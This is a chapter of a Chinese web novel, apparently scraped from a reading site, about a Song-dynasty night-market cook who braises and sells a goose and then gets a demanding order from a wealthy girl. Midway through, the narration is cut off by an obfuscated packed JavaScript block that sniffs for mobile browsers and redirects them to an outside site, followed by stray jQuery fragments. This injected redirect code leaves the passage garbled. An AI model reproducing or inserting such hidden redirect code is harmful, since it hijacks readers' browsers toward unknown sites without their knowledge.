汴京城的夜晚最是繁华。


    御街附近酒楼林立，笙歌不绝，中有御河游船穿行于亭台楼阁间，月夜泛舟可见“水光楼影，碧水绵延”之景。


    浚仪桥下汴水奔流、桥上人流如织。


    怪不得《东京梦华录》曾赞叹“两岸夹歌楼，明月光相射”。


    而柳金枝到时，御街两旁的铺子也都灯照通明。店小二在门口揽客，食客进进出出好不热闹。


    柳金枝也在摊位前挂上了一盏栀子灯。


    这灯狭长形，上宽下窄，中有六棱，状如栀子果。


    这就是告诉大家，柳氏食摊正在营业，欢迎光临。


    “柳娘子，你怎么现在才来？”旁边有位胖婶子趁着现在没生意，扭过头来搭讪，“这夜市的生意都开始好一会儿了。”


    柳金枝一边让柳霄和月牙把炉子生起火，一边笑道：“去买了点东西，怎么？大娘是有事要寻我？”


    “嗐，我哪儿有什么事儿。就是有，我也该找邻家几个男人帮忙。”胖婶子笑容温暖，“我就是想提醒你，除了咱们平头百姓逛夜市，还有不少达官贵人，说话做事得注意些，要是惹上那些个心眼子小的就麻烦了。”


    都说远亲近邻。


    有时候一个心善的邻居倒比在远方的亲戚，更能与你互相扶持。


    柳金枝笑道：“多谢婶子的提醒，奴记得了。”


    “不用谢，大家做点小生意都不容易，更何况你还一个人带着两个弟妹，我们能照顾一点就是一点。”


    胖婶子大方地摆摆手。


    结果余光瞥见有两位年轻娘子正路过她的食摊，便赶忙转过头去，大声吆喝：


    “焦碱水锥最是酥脆爽口，二位娘子来一个，绝对好吃不亏！”


    焦碱水锥就是油炸糯米团子。


    在宋朝，这类小吃一般配着糖蜜，蘸着吃，外脆里糯，口感很好。


    果然，两个小娘子听到是这个小食，驻足挑拣了片刻，笑嘻嘻地要了六个装起来。


    胖婶子就这么赚得了二十几文。


    旁边的清瘦男人也不甘示弱，大声吆喝起他的杂嚼：“嘿！走过路过不要错过！好吃脆口的杂嚼！有旋炒栗子！金橘团！蜜麻酥！糖豌豆……”


    男人恨不得一口气报出十来种杂嚼来。


    果然也吸引了一些年轻爱吃的小娘子过去购买。


    月牙看的心头火热，摩拳擦掌道：“阿姐，咱们卖什么？我去替你吆喝！”


    柳金枝想了想，最后将目光看向因为杜卫而买回来的那只鹅。


    “花了四钱银子买回来的鹅，不好好做一顿就可惜了。”柳金枝把鹅提起来，“今天做卤狮头鹅。”


    月牙点头，跳到食摊外头，深吸一口气，大声吆喝道：“卖卤狮头鹅咯！卖卤狮头鹅！卤味好吃又多汁！”


    瞧月牙这么干劲十足，柳霄也掏出了自己的算盘，噼里啪啦的盘了一顿之后，道：“这鹅约莫六斤重，除却羽毛、内脏……咱们每份卤味得定在三十五文左右才能回本。阿姐，会不会有些贵了？”


    柳金枝笑道：“若做的不好吃就是贵了，若做的好吃，那就是物超所值。”


    这夜市上不是常有达官贵人们行走吗？


    宋朝的吃货们，可是很乐意为吃的付银子的。


    起锅！烧水！拔毛！


    一只略肥的狮头鹅在柳金枝手中很快就被清理得当。


    再里里外外清洗过一遍之后，挂起来沥干水分备用。


    卤味最要紧的就是卤料。


    卤料得当，才能把肉菜卤的飘香十里。


    于是柳金枝备下新鲜小葱两根、十颗红葱头、十瓣大蒜、两块南姜、一把香菜头，以及冰糖、桂皮、八角、丁香、草果、白豆蔻等物，将之分门别类摆在一边。


    第一步，先将香葱洗干净去头切段，再挑出四瓣红葱头、四瓣大蒜去皮切开。


    清香的小葱味和浓厚的蒜味儿，就从菜刀的一起一落清脆的咔嚓声中飘了出来。


    柳金枝很喜欢这样清新的味道，深吸了一口，心情颇为愉悦。


    就笑着起锅倒入菜籽油，将葱段、红葱头和大蒜通通赶进去，大火烹煮熬炸成葱油。


    葱油最大的优点就是给食物提香，胜过一般的食用油。


    第二步则是取一块干净纱布，然后把之前备下的各类卤料，各取出五十克到五克不等的分量，一齐塞入纱布之中，再用细白绳拴紧系牢。


    锅要用大卤锅。


    好在之前柳金枝去购入锅碗瓢盆的时候，将各类她有可能用到的锅都买了一遍，一齐拉到了摊位上。


    于是挑拣出来一只大炉锅架在红泥火炉之上，加入葱油、卤料，以及十勺生抽、两勺老抽和一小袋老卤水。


    旁边洗干净了的狮头鹅此时也晾的差不多了，也取下来放进锅里，再倒入成桶的清水，直至漫过狮头鹅的头顶，就可以扣上锅盖，着力大火烧开。


    这些杂活儿不用柳金枝做，柳霄主动抱着一捆柴蹲在灶眼口，手上利落干脆地往里塞柴火棍。


    柳金枝嘱咐他：“大火烧开之后再转小火慢慢煨卤，不要一直用大火，这样会不入味儿。”


    柳霄道：“阿姐放心吧。”


    然后更用心地盯着灶内火光。


    柳金枝点点头，尔后转过头去调制蘸料。


    不论是古是今，蒜泥都是各种蘸料里的灵魂。


    在现代吃海底捞或者火锅的时候，柳金枝取小料时一定会多加蒜泥提香，要是再拌上香菜和满满一勺陈醋，那将会是绝杀！


    所以柳金枝按照自己的口味来，先将蒜片放入石臼里头细细捣碎，直捣了一大碗。再用小勺子盛出两勺来放入小料碗中，淋上陈醋调味。


    以此来配卤狮头鹅吃，风味更佳。


    而灶眼口火蛇四起，直烧的大卤锅下半部分鲜红，里头沸水滚动，热蒸汽顶的锅盖来回碰撞，叮当作响。


    柳金枝干脆走过去掀开锅盖，刹那间，喷香诱人的卤味散的到处都是。


    不少食客闻着这香，就顺着月牙的吆喝声围拢了过来。


    “柳娘子，这卤味怎么卖呀？”有个食客没忍住香，问价道。


    柳金枝眉眼带笑，温温柔柔地说：“一份三十五文。”


    三十五文？！


    有这钱，他们不知可以在夜市上再买多少杂嚼了。


    当下有些人觉得贵，就想退出去。


    没想到柳金枝拿了铁钩子，穿过狮头鹅的脖颈将鹅提起来，又另取了一柄长柄圆头大铁勺过来，从大卤锅里舀了勺麻辣鲜红的卤汁，不缓不急地浇在狮头鹅身上。


    鲜亮发红的卤汁在鹅身淋漓尽致地流过，蒸腾的热气将卤香更是扑的到处都是，像海浪一般一阵阵冲扑过来，又把那些想走的食客给活生生勾住了。


    大家就这么瞧着柳金枝一勺接着一勺地舀起卤汁淋在鹅身上，把鹅的外表皮肉卤的颜色漂亮又均匀。


    不差钱的食客此时已经按捺不住，从腰间茄袋里解出三十五文拍在桌上，道：“我来一份！”


    柳霄赶忙把铜子收起来，笑道：“您请这边排队，卤好了第一个给您。”


    有一就有二，有二就有三……


    少部分食客慷慨解囊，把钱给了柳霄，站在一边排队。


    然而大多数食客还在观望，但又被这香味儿勾住，一时舍不得走，也就站在原地看柳金枝浇卤。


    这卤狮头鹅要不了多长时间，半个时辰即可。


    先前柳金枝放卤之时就已经过了两刻钟，浇卤又浇了一刻钟，最后再将狮头鹅按进卤汁里头小火慢慢炖煨入味儿。


    又一刻之后，就是开锅取肉之时。


    众人的眼睛都盯着那口大卤锅。


    柳金枝眼疾手快地揭开，拉住钩子，将狮头鹅直直地提起来。


    哗啦一声，卤汁荡漾。


    紧接着啪！


    卤狮头鹅浑身冒着热辣辣的香气，倒在木质砧板上，身上的鲜红卤汁还在不断地顺着外皮往下流。


    柳金枝操起菜刀，干脆利落地剁下双翅、双腿，再中间切刀，把肉脯，鹅屁股全部切


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467421|169610||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    好，率先装拣了四五块卤肉脯递给第一位食客。


    那食客一接到手，就迫不及待地咬了一口。


    这可是刚出锅的肉，直烫的他嘶嘶呼气，却怎的都不肯先松口吹吹，反而直接撕咬下一大块卤肉，大口嚼用起来。


    第二位食客见状，也是忍不住咽了口口水，直接上口。


    第三位同样……


    看这几人狼吞虎咽，根本说不出卤肉哪里不好的样子，其他还在观望的食客一把蜂拥而上。


    “我要鹅翅！”


    “鹅腿给我两支！两支！”


    “我也……”


    当然，鹅翅和鹅腿可都是另外的价钱，要更贵一些。


    但是看这三人吃的这么香，被挑起口腹之欲的食客们自然无论如何都要尝尝鲜。


    什么味道的卤狮头鹅能卖这么贵？


    我也尝尝！


    于是半个时辰做出来的卤鹅，不消一刻钟的时间就全卖出去了。


    月牙都忘了吆喝，呆呆地看着人们跟一阵旋风似的卷走了全部卤鹅。


    柳霄则在哪儿慌忙收钱，七手八脚地根本忙不过来，可是再忙，他脸上都带着抑制不住的笑。


    “这是您的一份。”


    “这是您的，您拿好。”


    “没了，没了，是真的没了……”


    ……


    就一只六斤的鹅，根本供不了这么多人吃。


    所以哪怕后头还有不少人拿着钱挤过来，柳金枝都只能遗憾又肉疼地摇摇头。


    月牙摸了摸抽屉里的铜子，就像做梦一样，道：“我的天爷啊，阿姐，原来做夜市真的这么赚钱！我们下次还卖卤味吧！”


    柳霄也是双眼发亮，但他还是先掏出算盘来算了一下，道：“如果大家每次都愿意出三十五文的话，确实比我们卖其他东西赚多了。”


    “好，那我们明天就去再买几只鹅回来！”柳金枝笑道。


    一家三口兴奋不已。


    这时，却有一位衣着颇为华丽的少女，步伐款款地走过来。


    目光挑剔地将食摊上下一打量，道：“你们这儿是新开的摊子？”


    见对方衣着神情，便知道怕是哪家富贵人家里出来的。


    柳金枝收敛神色，温和有礼道：“回禀这位娘子，我们这食摊昨日才开呢。”


    “昨日才开？”少女有几分惊讶，“那方才摊上围着这么些人，都是在买什么？”


    “卤狮头鹅。”柳金枝笑容谦和，“但现下已经卖光了，娘子若想要，可以明日再来。”


    少女想了一想，蹙眉道：“不行，我等不到明日，今日就要。”


    “这……”柳金枝为难。


    “若是没有你说的狮头鹅，那就拣别的拿手好菜做来。”少女从袖子里摸出一只精致茄袋，抬手扔给柳金枝一钱银子，“不拘卖多少，这一钱银子总是够了。三刻钟之后，我再来取。”


    说完竟也不给柳金枝反应的机会，转身就走了。


    柳金枝讶然，倒不知世上还有这般强买强卖的道理。


    好在旁边的胖婶子在这片待的久，替柳金枝解释道：


    “柳家娘子，那个丫头可不是好惹的，她是城北钦天监司正的家人！”


    “那司正家的大姐不思饮食好久了，所以这个丫头每天晚上就来夜市逛，遇到什么好吃的就带回去给她大姐吃。”


    “但她将咱夜市上的东西买了个遍，愣是没一个合心意的。”


    “所以到了第二日这丫头来转过来骂咱们，骂完了又买。”


    “哎哟，整个夜市的摊主没一个不怕的！”


    竟然这般泼辣？


    柳金枝皱起眉头。


    月牙听着害怕，道：“阿姐，这份银子还是别挣了，万一她隔天来闹咱们怎么办？”


    但是这可是一钱银子！


    柳金枝放不下。


    思索片刻后，还是决定道：“挨骂就挨骂，这可是银子！”


    跟谁过不去，都不能跟钱过不去。


    挣钱嘛，不寒碜！